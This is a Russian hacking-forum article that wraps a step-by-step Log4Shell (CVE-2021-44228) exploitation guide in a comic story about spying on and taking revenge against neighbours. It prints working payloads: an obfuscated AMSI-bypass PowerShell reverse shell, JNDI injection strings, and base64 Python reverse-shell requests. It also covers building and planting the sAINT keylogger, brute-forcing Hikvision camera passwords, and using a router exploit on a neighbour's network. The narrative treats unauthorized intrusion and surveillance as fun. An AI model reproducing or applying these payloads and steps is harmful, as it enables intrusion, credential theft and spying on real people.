Предисловие: немного шизофрении
О, привет, а ты уже здесь, да? Тогда позволь задать тебе один странный вопрос, дорогой читатель, как ты думаешь, я - реален? Естественно, ты читаешь мои тексты, в скором времени тебе предстоит услышать мой голос, скорее всего ты уже понял сколько мне лет, а каков в этом смысл и что это доказывает?
Истинно это является исключительно показателем, что ты обладаешь сознанием, а это самое сознание толкает тебя на совершение иррациональных поступков: ты способен ощущать любовь, ненависть, есть возможность даже сломать себе палец *хр-у-усь* и ощутить боль… Но вопрос остается открытым, что это доказывает? Ну, по крайней мере ты действительно существуешь, хотя разве это подтверждение того, что реально всё вокруг тебя?
Говоря уже серьёзно, то сейчас я попытаюсь погрузить Вас в мир виртуальной реальности, речь пойдёт от простых, абсурдных и никому непотребных вещей к действительно значимым уязвимостям, а пока Ваше сознание ещё остается относительно невинным в части несанкционированных проникновений, то позвольте же исправить это, исключительно стирая его в прах посредством слов. Статейка будет представлять собой некий переходной вариант между сюжетом и непосредственно реальными включениями. Грубо говоря, солянка из всего-всего.
Что? Вы хотели мне напомнить о конкурсе на купон, который я анонсировал в прошлой статье? О чем это вы? Ничего я не разыгрывал, ведь это было не в этой реальности, а если это не имеет отношения к этой, то каков смысл?
И все-таки здесь видосик, где победитель был определен:
Дисклеймер
На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.
Первая глава - Майнкрафт: девять лет от роду, но хакер уже я
Данная история имеет конкретные временные рамки: допустим, что ситуация происходила до фикса уязвимости, о которой зайдет речь сейчас, 20.12.2020. Пойдёт? Считаю, что да.
Центральный район Киото, поздний вечер. Все вокруг суетятся, ожидая автобус, который сегодня явно не следует графику. Толпа гневно косится на электронное табло, раз от разу высказывая недовольство. Среди этого столпотворения было что-то не так, сие была не рядовая ситуация, как могло показаться на первый взор. Странная розовая любовная атмосфера всё больше и больше поглощала окружение, а причиной возникновения такого явления была всего-то одна пара, что мирно зажималась в углу.
Типичный парнишка, будто срисованный с какой-то манги или аниме, и нереальной красоты молодая девушка, что была в половину роста своего возлюбленного.
И вот кульминация, всё идет к тому, что они вот-вот поцелуются и… Странный русский дикий матерный визг раздается эхом по всему окружающему миру, парень явно недоумевает, после в его глазах всё темнеет, расплывается и он возвращается в реальность, это всего-лишь сон: далекая мечта, явно не имевшая путей реализации в этой жизни. Охватившая его печаль в раз исчезает под действием очередного вопля его малолетнего соседа. Раздосадованный тем, что его снова вернули в реальность в такой грубой манере, наш мечтатель аккуратно пристраивает глаз возле розетки, возле которой была небольшая щелочка ведущая в соседнюю комнату, где как раз и находился нарушитель его покоя. Несколько минут понаблюдав за своим восьмилетним соседом через брешь в стене, он принимает радикальное решение, ведь его охватило желание узнать истинную причину таких диких криков.
Семья девятилетнего нарушителя была достаточно зажиточной, отец сие вредителя был каким-то крупным бизнесменом и большой шишкой в городе, поэтому он очень переживал за безопасность своего жилища. Но по своей натуре он был прост, словно та самая входная дверь в подъезд с кодовым замком, на клавишах которого были видны потертости и открыть её не составляло труда первому прохожему. Поэтому в его обителе стояли старенькие камеры от Хиквижин, наблюдатель имея определенные познания в ИБ, вспомнил, как когда-то уже в далеком 2016 проводил подбор паролей к камерам такого типа… Глаза его загорелись, включив своё портативное устройство, он начал искать тот самый старенький скриптик - Хикка. Прописав в файлы, содержащие логины и пароли все дефолтные, а после имена, даты рождения и все прочее, что было ему известно о своих соседях, он приступил к бруту. ( Как же давно я не использовал это слово, страх какой).
Сделал это он простеньким открытием батника, открывшаяся консоль сразу же начала пестрить от неудачных попыток. Кстати, сделал он хитро и просто - взял айпи-диапазоны своего района, просканировал через любой сканер портов на наличие открытого - 8000, делал он это по старинке, через Kportscan. (Кто помнит - тот помнит, забавная была штука, я ещё тогда в школе учился и под новый год… Да.. ) Поэтому таким образом можно было получить доступ не только к камере его соседей, но это вовсе не было целью нашего героя.
Спустя несколько десятков подобранных паролей он находит то самое, что искал логин от панели управления камерой был - Gorodnuk, а именно это и было фамилией соседа, малец которого доставил утреннюю головную боль герою.
Скачав на свой Iphone 113 promegasupersss turbotormoz edition, приложение от Хиквижин, получаем доступ к камерам соседушки, а после с головой погружаемся в наблюдение за комнатой-источником криков.
Оказалось, что малец, имя которому Вадим, который желал, чтобы звали его исключительно по нику в именитой игре Майнкрафт - Вадимка228супер-нагибатор-грифер, был занят тем, что истерически орал в микрофон уже минут так 30 без остановки, казалось, что за столь непродолжительное время жизни и деградации он смог постичь основы анаэробной жизненной формы или завладел бездонными легкими.
( Ничего против Майнкрафта не имею, действительно очень проработанная игра, имеющая кучу возможностей и огромный потенциал, хотя когда я в неё решил поиграть весь мой гемплей был заключен в прыжках по кустам, которые впоследствии убивали персонажа, так длилось несколько часов.. )
Наблюдая за действиями молодого, а в последующем матерными выражениями, можно было понять, что он был каким-то образом взломан через эту же игру. Удивительно, как обычная игра могла повлечь за собой инжект вредоносного кода на устройство Вадимки?
А теперь давайте разбираться. Здесь вставочка, которая не относится к сюжету.
Речь пойдёт о уязвимости CVE-2021-44228, также получившая названия Log4Shell, пусть я немного опоздал, на месяца так два с выпуском, но статья пишется именно в период, когда всё это получило крупную огласку, а на Кодбае до сих пор ни слова о этом не было, вроде. Исправляем.
Опасность этой штуки пожалуй выражу как-то так:
Что делает CVE-2021-44228 особенно опасной? Это простота эксплуатации, конечно, сколько гайдов уже существует на Ютуб с текстом: “Как влзАмать минекрафт” или “бисплатние одминки на любом сирвире”. Успешную атаку через эту уязвимость может осуществить любой, даже отошедший в мир иной. Злоумышленнику достаточно заставить приложение записать в лог всего одну строку и то через игровой чат, не консоль, в результате чего им удастся подгрузить в приложение собственный код из-за функции “message lookup substitution”.
Эта дыра была обнаружена в библиотеке Apache Log4j - это часть проекта Apache Logging Project, которая служит для ведения логов. По большому счету, ее применение является одним из самых простых способов ведения журнала ошибок, поэтому большинство ребяток пишущих что-то на Java применяют именно её. Забавно, но её используют те же крупные компании, вроде Майкрософт, Амазон, даже Тесла, многие банки самых различных странах.
Иронично, но мало кто использовал весь её потенциал, я не говорю, что нужно было, но всё же, поэтому вся основная атака была направлена именно на сервера игр… Да, это был Майнкрафт… На видеохостингах сразу же начали возникать, как грибы после дождя, гайды, форумы были разорваны темами, а ля “взлом минекрафта”.
И раз уж мы не будем сейчас, акцентирую внимание на слове сейчас, говорить о атаках на какие-то крупные ресурсы, то о чем? Конечно же, о Майнкрафте! Пошлите обратно в сюжет.
Прошел час, малец всё ещё не утихал, наблюдая за ним можно было понять, что он стал очередной жертвой этого коварного способа, его аккаунт полностью попал в руки злоумышленника, который с огромным удовольствием уничтожил родительские тысячи, вложенные в игру своего драгоценного сына. Поэтому это вызвало дикую истерику молодого Вадимыча, что и стало причиной пробуждения нашего героя.
Мир грёз был для него чем-то особенным, он никогда не любил просыпаться, тем более в его единственный выходной. Но всё же интерес пересилил негодование и вместо того, чтобы мстить своему соседу, его заинтересовал способ из-за которого Вадим-нагибаторсуперпро уже катался по полу в конвульсиях.
Для начала он подробно разузнал обо всем из имеющихся источников и приступил к нехитрому делу, стало быть раз лишь одной строкой в чате может взломать кто угодно, значит и сам Хияши, пусть это будет его именем, лишь сейчас решил главного героя именовать как-то.
Исходя из полученного опыта ранее, ему не хотелось, чтобы кто-то также просыпался от адского крика за стеной, поэтому он решил провести практику исключительно на своем уязвимом сервере, как он его создавал… Ну, сейчас увидите.
Первым делом, нужно скачать JDK 8u181 - это что-то типа установщика Джавы, качаться он будет очень медленно, сам не знаю с чем это связано, но быстрее чем 100 кб в секунду не идет, затем Хияши качает старую и уязвимую версию Paper’а, как понял я, это и есть уязвимая часть и основа сервера.
После типичной установки JDK, нужно создать пустую папку, куда и поместить Paper, так Хияши и поступает, следом создает текстовый документ, редактирует тот, поместив туда следующее содержание:
Код:
@echo off
java - Xms2G - Xmx2G - jar paper - 1.8.8 - 443.jar
pause
После следует типичному в этом деле принципу, сохраняя этот файл с расширением .bat, затем открывает обычную CMD, запустив этот самый батник, назвать его можно как угодно, собственно не имеет значения, следом можно наблюдать такую картину:
После небольшого отрезка времени, можно заметить, что в папке с папером уже есть уйма других файликов, интересует Хияши именно что он - elua, открыв тот с помощью обычного редактора, меняем значение “elua=false” на “elua=true”.
После наш герой повторно запускает батник и вуаля - уязвимый сервер был запущен.
Теперь интересующемуся понадобится сервер на базе Линукс, ну любой пойдёт для сие задачи. А как оказалось, Хияши-то не просто мечтатель, а имеет в своем распоряжении ещё и Кали, поэтому запустив виртуальную машинку, он убеждается, что она имеет доступ к интернету. ( Как вывести виртуалку в интернет и в одну локальную сеть, я уже много раз рассказывал, смысла повторяться нет).
Теперь переходим на небезызвестный гитхаб, где ищем репозиторий Log4shell minecraft, пойдет действительно любой, так как все они имеют один концепт, герой сие раздела статьи так и поступает, копирует репозиторий, переходит в его директорию:
Код:
git clone https://github.com/davidbombal/log4jminecraft.git
cd log4shellminecraft
После этого нужно узнать айпи своей виртуальной машины, мои мысли и Хияши совпали, так как следующая команда в нем нуждается:
Код:
ifconfig
python3 log4j.py 10.10.vasyan.10
Копируем, вставляем, и пошло поехало, но в конце персонаж замечает, что вылезла ошибка, мол JDK уже есть, естественно, он её игнорирует и запускает повторное выполнение скрипта, на этот раз порядок. Много чего качается, исключается из-за того, что уже есть, но в итоге мы должны лицезреть это:
Код:
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Затем открывает Хияши ещё один терминал, где выполняет последнюю команду:
Код:
cd log4… сами знаете, нажмите TAB
python3 jcomp_pyserv.py
И ответ лицезреет Хияши такой, кстати заметили нетипичность имени для СНГ? А он студент по обмену из Японии, хе:
Код:
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Так-с, ну и что теперь? Уязвимый сервер создан, слушатели запущены, что делать дальше-то?
Качаем Майнкрафт, нужно же непосредственно тест провести; как и я, Хияши в режиме ожидания. Когда казалось бы всё готово, столкнулся он с несоответствием версий, должна быть 1.8.8, а он скачал самую первую. Поэтому делает всё заново, а я не отличаюсь особым умом и сообразительность, потому поступил так же.
После уже возникла следующая картина с ошибкой, мол “failed to verify username”, на скрине будет решение. Главное не забыть.
Итак, теперь непосредственно момент истины, стало быть берем вот эту вот команду, где Хияши меняет айпи, который уже был на адрес атакуемой машины, после заходит в игру и просто напросто кидает это в чат:
Код:
${jndi:ldap://10.10.10.10:1389/Log4JCE}
Результат - открытие блокнота с надписью “Vasya hacked you hahaha”.
Со стороны атакующей машинки выглядит всё вот так, да здесь скрин должен быть:
Но для Хияши простое открытие блокнота - детский лепет, нужно ведь что-то глобальней. А как насчет получение shell’а сервера? А это уже интересно.
За основу изначально хотелось взять какую-то оригинальную полезную нагрузку, может даже создать ту самому, но потом лень взяла верх и раз это лишь тест, то напрягаться незачем. Поэтому Хияши будет использовать такое:
Код:
#Rasta-mouses Amsi-Scan-Buffer patch \n
$goehf = @"
using System;
using System.Runtime.InteropServices;
public class goehf {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr mryhhp, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $goehf
$gaajlkg = [goehf]::LoadLibrary("$(('ämsí'+'.dll').NoRmAlIZE([ChaR]([Byte]0x46)+[chAr]([byTe]0x6f)+[CHAR]([bYTE]0x72)+[CHar](109*8/8)+[CHAr]([bYTE]0x44)) -replace [chAR]([BYtE]0x5c)+[char](75+37)+[ChAR]([ByTe]0x7b)+[CHAr](77+32-32)+[CHaR](110*52/52)+[ChAR](61+64))")
$rppdxp = [goehf]::GetProcAddress($gaajlkg, "$([CHar](65*36/36)+[CHar]([bytE]0x6d)+[ChAR](115+68-68)+[CHAR]([bYte]0x69)+[chaR]([BYTe]0x53)+[CHAr]([byTE]0x63)+[CHar]([BYte]0x61)+[Char]([bytE]0x6e)+[CHAR](66)+[ChAr](117*88/88)+[chAr]([bYTE]0x66)+[ChaR](102+6-6)+[Char](101+99-99)+[cHAr](57+57))")
$p = 0
[goehf]::VirtualProtect($rppdxp, [uint32]5, 0x40, [ref]$p)
$xxwq = "0xB8"
$vcxd = "0x57"
$myer = "0x00"
$giik = "0x07"
$lred = "0x80"
$urdz = "0xC3"
$ezvwn = [Byte[]] ($xxwq,$vcxd,$myer,$giik,+$lred,+$urdz)
[System.Runtime.InteropServices.Marshal]::Copy($ezvwn, 0, $rppdxp, 6)
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Первым делом наш герой переходит в папку POC, которая есть в директории скрипта, лицезреть он может три или четыре файла, один из которых на данный момент нам непотребен и его нужно удалить, а именно - log4shell.class, это просто готовый скомпилированный файл log4shell.java.
Последний же нас интересует больше всего, перво-наперво нам нужно приступить к его редактированию. Если используется удаленная виртуальная машина и доступна лишь консоль, выход прост:
Код:
nano Log4shell.java
Но в случае Хияши ему это ни к чему, поэтому просто открываем через мауспад и ищем строку со следующим содержанием:
Код:
java.lang.Runtime.getRuntime().exec("powershell.exe … и так далее.
Именно эта строчка содержит инструкции, собственно зловещий код, выполняемый на машине жертвы через кодировку UTF-16LE. Хияши это понимает и просто удаляет всё в скобках после строки:
Код:
exec(“
Далее нам понадобится превратить наш пейлоад, буду называть его так, ибо удобнее, в UTF-16LE, для этого… Очень удобным ресурсом есть всё таки Raikai’s hub, герой наш о этом очень хорошо осведомлен, поэтому без особых раздумий переходит туда, где вставляет пэйлоад, прежде в последней строке изменив на свой айпи и указав желаемый порт, допустим, порт будет… Не 666, как вы уже могли подумать, если читали мои прошлые статьи, а 1234, почему нет?
Имеет всё это следующий вид перед глазами Хияши, а у нас на скрине можно наблюдать:
Теперь переходим к непосредственно редактированию самого .java, а делать так-то особо нечего здесь, просто в кавычки вставляем вот этот вот закодированный вариант полезной нагрузки, сохраняем.
Но тут Хияши резко смекает, что что-то не так, ведь даже если всё запустить по новой, файл с расширением .class не появляется, поэтому, спустя несколько минут томных раздумий, доходит, что компиляцию нужно провести вручную.
Делается это намного проще, чем может прозвучать, банально достаточно прописать следующее:
Код:
javac log4shell.java
После можем просмотреть папочку ПОК на наличие файла, он имеется, никаких ограничений.
Следом в ещё одном окне терминала, Хияши запускает слушатель на порту 1234, чтобы получить соединение, которые выполнит полезная нагрузка в момент инжекта, делается это следующим образом:
Код:
nc -lnvp 1234
Теперь в остальных двух терминалах, нужно провести поочередное поднятие серверов-слушателей скрипта, запускаем LDAP сервер скрипта следующей командой:
Код:
python3 log4j.py 192.168.1.132
А после поднимаем python http сервер последней командой:
Код:
python3 jcomp_pyserv.py
Ну и собственно, Хияши ещё раз решил удостовериться в том, что сделал всё правильно, кстати сомнению не подлежит факт верного исполнения, два слушателя и один принимает, всё путем.
Стало быть - делать больше нечего, кроме как просто скинуть всем нам известную команду на сервере майнкрафт в чат:
Код:
${jndi:ldap://10.10.10.10:1389/Log4JCE}
Далее всё, что надобно сделать после - это посмотреть в консоль в которой был запущен слушатель на порту 1234, моментально видим ответ о том, что получено новое подключение. После это делать мы можем абсолютно всё, первоочередно давайте проверим, какие права у нас есть:
Код:
whomi
Проверим какие директории у нас имеются здесь:
Код:
dir
Прикола ради посмотрим, что имеется на диске C:
Код:
cd :C
Затем успех Хияши поверг его в кураж, лицо исказилось в довольной ухмылке и он начал размышлять, если бы он действительно получил доступ таким способом к устройству какого-то школьника, который поднял свой сервер на ноутбуке мамы, что бы он делал, будь он злоумышленником?
Он не стал бы исследовать машину жертвы, в целях более подробного подбора метода внедрения какого-то вредоноса, нет, стиль не его.
Единственное, что достоверно ему известно, на этом устройстве установлен Java, от этого и пойдём, вполне достаточно, дабы подгрузить какой-то простенький кейлоггер и ждать, пока жертва сама выдаст всё сокровенное.
Затем он вспомнил, как когда-то читал какую-то статью по ИБ, в которой был определенный сюжет и главный герой той писанины как раз использовал именно то, в чем нуждался сейчас наш Хияши. Имя этому репозиторию - sAINT, простенький кейлоггер, написанный на Джаве - подходит идеально.
Сперва нужно установить все необходимые для работы пакеты:
Код:
apt update && sudo apt install openjdk-11-jdk openjdk-11-jre openjdk-11-source -y
Следом устанавливаем всё надобное для компиляции в exe:
Код:
apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses6 -y
За-атем Хияши копирует репозиторий, переходит в директорию и запускает автонастройку конфигурации скрипта:
Код:
git clone https://github.com/tiagorlampert/sAINT.git
cd sAINT
chmod +x configure.sh
./configure.sh
(ремарочка, пакет maven может не установиться, поэтому сделать придется это вручную:
pip install maven )
Запуск скрипта проходит следующей командой, улыбаясь, Хияши, тыкает клавишу ввода, далее следует простенькому в понимании меню, где указывает почту, на которую будет приходит отчет, уставливает задержку, ну и всё. Там циферки потыкать, ничего сложного:
Код:
java -jar sAINT.jar
Затем, используя команду scp, ( кстати, кто не знал, используя эту штуку можно переносить файлы через shell на удаленную машину. Ну конечно, я ещё придумал вариант с curl, но он более затратный так-то, поэтому это супер альтернатива), он переносит свой зловред на рабочий стол, якобы жертвы:
Код:
scp /home/kolya.exe KIRIN@192.169.3.12:\C:\Users\KIRIN\Desktop
Запуск же можно провести, используя, ну допустим вот так-вот:
Код:
Set-Location \C:\Users\KIRIN\Desktop\kolya.exe
Ну и это Хияши ещё не задумывался о том, что на любом сервере игры с этой уязвимостью можно завладеть всем, включая пароли, электронные адреса, а там в 70% случаев пароль от аккаунта Майнкрафта и почты - один, ну как бы то уже никому не нужные детали.
Глава вторая: неигровой путь самурая, вторая сторона уязвимости
Саламчик, это включение не будет сюжетным, считайте это моя мини-статья внутри большой сюжетной. А что? Могу себе позволить.
Как уже раньше я сказал, подвержены этой дырке были не только сервера майнкрафта, а другие крупные ресурсы, включая банки, компании и всё прочее.
И сейчас пора взглянуть на медаль с другой стороны, пусть особо активно это форсилось именно из-за Майна, но были люди и поумнее. Естественно, в этом включении сейчас мы разберем простой пример атаки на сайт, используя уязвимость log4shell. Так же как и в сюжете мы создадим уязвимый сервер, а после проведем эксплуатацию, ничего особого. Врубаем депрессивный фонк и начинаем работу…
Как это работает думаю уже всем ясно с прошлого раздела. Достаточно передать одну строку серверу, и последний просто начинает его выполнять. На момент написания этого раздела уже было выпущено четыре патча, первые два справлялись, нет, они не справлялись вовсе, третий с переменным успехом, а последний держится до сих пор.
Итак, поднимем-ка наш уязвимый сервер, используя Докер. Установим-ка:
Код:
apt-get install docker docker.io -y
После запускаем сам сервер, вводя вот эту команду:
Код:
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Сервачек запущен, теперь нужно скачать сам эксплоит, с гитхаба его удалили и до сих пор его нет, но мне удалось разыскать ссылку на него, спасибо WB. Качаем архив, после проводим разархивацию:
Код:
unzip JNDIExploit.v1.2.zip
Как и в случае с Майнкрафтом, нужно запустить что-то типа листенера, делается это вот такой вот командой:
Код:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.1 -p 8888
Примечание в том, что указывает порт атакующей машины, то есть нашей, хотя опять же, в данном случае выходит, что мы одновременно есть и атакующим, и атакуемым, но это можно было бы исправить, даже создав две виртуальные машинки на Кали, но мне просто лень, простите.
Кстати, здесь-то наблюдается та же самая картина, что и в случае эксплоита под Майнкрафт, запускается LDAP и HTTP сервера.
Так-с, теперь нам понадобится свободная консоль, новая тобишь, где мы отправим запрос на удаленное выполнение команды, которая будет в кодировке BASE64, оригинальный англоязычный источник примера ограничивается лишь созданием папки, но мне интересно провернуть что-то типа получения шелла, ибо создать папочку - не ахти, не супер.
Стало быть в консоль кидаем следующее:
Код:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.135.82:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
И в консоле видим ответ “Hello world”, что означает, мол всё окей эксплуатация прошла успешно, если мы перейдем в директорию TMP, то заметим там новую папочку. А в консоли, где был запущен сервер, видим следующую ответную реакцию, где в конце сообщается следующее:
Код:
Received a request for API version ${jndi:ldap://192.168.135.82:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
То есть смекаете? Ну, я да. Но мне показалось этого мало и теперь я хочу получить шелл на атакуемой машине. Для этого я решил воспользоваться виртуальной машиной на убунту от Амазон, спасибо им, что когда-то сняли у меня 300$ за пользование, хотя виртуалка-то на год бесплатная.
Итак, использовать мы будем следующий “пэйлоад”, ну уж позвольте мне выразиться так, как удобно мне:
Код:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.135.82:1389/Basic/Command/Base64/cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5F\nVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4xNjgu\nMS40JywgMjAxNSkpOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwwKTsgX19pbXBv\ncnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZp\nbGVubygpLDIpOyBwPV9faW1wb3J0X18oJ3N1YnByb2Nlc3MnKS5jYWxsKFsnL2Jpbi9zaCcsJy1p=}'
Это уже готовый вариант, захотите - посмотрите, что там есть. Подробно расписывать здесь о кодировке и что где менять - лишено смысла.
На Убунту Амазона так же качаем докер и запускаем уязвимый сервер:
Код:
apt-get install docker docker.io -y
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Готово, теперь единственное, что осталось, конечно, запустить слушатель на порту, что ранее был указан в полезной нагрузке - 6666. Как сделать? Легко:
Код:
nc -lnvp 6666
Ну и отправляем запрос на выполнение нашего кода:
Код:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.135.82:1389/Basic/Command/Base64/cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5F\nVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4xNjgu\nMS40JywgMjAxNSkpOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwwKTsgX19pbXBv\ncnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZp\nbGVubygpLDIpOyBwPV9faW1wb3J0X18oJ3N1YnByb2Nlc3MnKS5jYWxsKFsnL2Jpbi9zaCcsJy1p=}'
Ответной реакции от терминала не поступает, зато в терминале, где был слушатель - ловим шелл. Далее уже вы вольны делать то, что заблагорассудится. Обратно в сюжет!
Глава три: натура человека верх берет - история маленькой мести
И вот уже ночь, Хияши мирно потягивает сок, почитывая любимую мангу, всё близится к окончанию дня, тихая мирная обстановка…
И тут идеальная картина вечернего мира героя начала трещать, этот треск стал отдавать в уши, как вдруг изображение начало расходиться на многие, нет, бесчисленное множество кусочков, отдавая тем же стеклянным треском.
Да, дело было опять в Вадиме за стеной, который из-за чего-то вновь словил приступ эпилепсии.
Неистовое бешенство заполонило разум Хияши, глаза налились кровью, он вот-вот был готов взорваться, но всё таки взял себя в руки и начал думать, как же можно успокоить буйного соседа-личинку.
Единственное, что он умел так-то было сегодняшним навыком, связанным с уязвимостью log4shell, ничего другого не приходило в то время ему на ум, поэтому…
Зная пристрастие своего соседушки, он решает, как вы думаете что? Неверно думаете, этот раздел этой уязвимости не посвящен.
Если вспомнить, то у нашего Хияши имеется айпи адрес камеры, а стало быть она подключена к общему роутеру, отсюда у неё и доступ в интернет.
А это значит, что на этом айпи есть ещё устройства, потенциально на нем может находится и сам ПК Вадимки-нагибатора, да?
Для начала наш герой решил воспользоваться приложением на телефон, для того, чтобы точно определить модель роутера и уже от этого продолжать свои попытки получить способ как-то навредить.
Путем таких нехитрых манипуляций мы узнаем, что у соседей установлен роутер - Tp-Link TL-ER5120G, а теперь давайте просто загуглим с приставкой CVE. Сразу же видим, что на гитхабе валяется с далекого 2017 (как же это странно говорить, вроде же вчера было) эксплоит на питоне, который позволяет получить доступ к панели управления роутером без ввода пароля или логина.
Запустив Кали, Хияши быстренько клонирует репозиторий, переходит в директорию с ним:
Код:
https://github.com/coincoin7/Wireless-Router-Vulnerability.git
cd Wireless ну ТАБ жмякните, лень писать
python3 exploit.py
Сразу же происходит сканирование сети на доступные и уязвимые устройства, оказывается их несколько, но интересует Хияши именно сеть с названием “Головорез Вадим и семья”, банальным выбором цифр, получаем ссылку на панель управления, откуда и уже наш герой совершает свою сладкую месть.
Хотя это породило лишь большие крики, да и не только Вадик начал кричать, но и остальная его родня, Хияши был доволен.
Выводы
Ну-с, в основном хочется подбить итоги касательно CVE-2021-44228, данная штука уже была практически везде исправлена, если и получится у кого-то что-то взломать, то явно лишь сайт школьной столовой или сервер Майнкрафта, который школоПетя создал три года назад, чтобы поиграть на версии 1.0 в одиночке.
Само ядро серверов Майна было профикшено и там больше такой бреши нет. На просторах гитхаба и других порталов можно найти множество патчей для этого, поэтому свою актуальность это потеряло.
Но ,как выразился один мой знакомый эксперт в делах ИБ: “Мир был в огне”. Да, действительно, шуму наделало, но в итоге убытки были сведены к минимуму.
Это лишь вопрос времени, когда что-то подобное, такого же масштаба будет обнаружено каким-то Васей из подворотни. Задумайтесь, сколько дыр ещё не было обнаружено? Будьте счастливы. Я устал, честно. Одна из самых больших моих работ. Думаю, что пора прощаться.
Последнее редактирование модератором: